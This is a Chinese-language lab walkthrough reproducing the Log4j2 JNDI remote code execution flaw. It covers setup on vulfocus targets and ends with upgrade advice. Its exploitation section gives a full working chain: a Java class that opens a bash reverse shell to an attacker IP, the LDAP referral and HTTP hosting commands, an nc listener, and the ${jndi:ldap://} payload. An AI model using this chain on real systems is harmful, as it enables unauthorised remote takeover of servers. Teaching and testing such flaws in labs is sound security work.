- 0x00 前言
- 0x01 漏洞描述
- 0x02 影响范围
- 0x03 环境搭建
- 0x04 漏洞复现
- 0x05 修复方法
- 0x06 总结
所有文章,仅供安全研究与学习之用,后果自负!
0x00 前言Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
0x01 漏洞描述由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
0x02 影响范围https://github.com/YfryTchsGD/Log4jAttackSurface
Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
了解到 已经有人可以绕过2.15.0-rc1版本,
影响版本
2.0<= Apache Log4j 2 < 2.15.0-rc20x03 环境搭建
(1)本地idea 项目测试
JNDI注入服务端选择使用 https://github.com/feihong-cs/JNDIExploit 搭建,命令:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i VPS_IP
(2)可本地 docker搭建
docker pull vulfocus/log4j2-rce-2021-12-09 docker run -dt --name log4j -p 8080:8080 --rm vulfocus/log4j2-rce-2021-12-09
(3)在线靶场测试 掌控安全 或者 vulfocus
http://d63bb2586.lab.aqlab.cn/
dnslog测试
http://d63bb2586.lab.aqlab.cn/
复现方法 与fastjson 差不多
可参考 之前写的 fastjson复现文章
(1)编译恶意类
exploit.java内容
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/你的ip地址/9897 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
javac Exploit.java
(2)python启用http服务 部署恶意类
python3开启http服务
python3 -m http.server 8080
(3)marshalsec 开启 LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://http服务地址:端口/#Exploit" 9999
(4)接收shell的服务器 开启监听
nc -lvvp 9897
(5)在目标服务执行payload
${jndi:ldap://LDAP服务地址:LADP服务端口/Exploit}
攻击结果
LDAP服务 被访问
http服务放置的恶意类被访问
恶意类中的代码被目标靶机执行 shell反弹成功
0x05 修复方法升级Apache Log4j 2至最新安全版本
目前log4j-2.15.0-rc1 已经存在绕过
0x06 总结只要是 java8 及一下 dnslog 都可以成功 但命令不一定可以执行
具体看 java版本 及jdk版本
java 8 及 以下版本 几乎可以成功
jdk处于 8的 140之下才可以更好的执行命令。



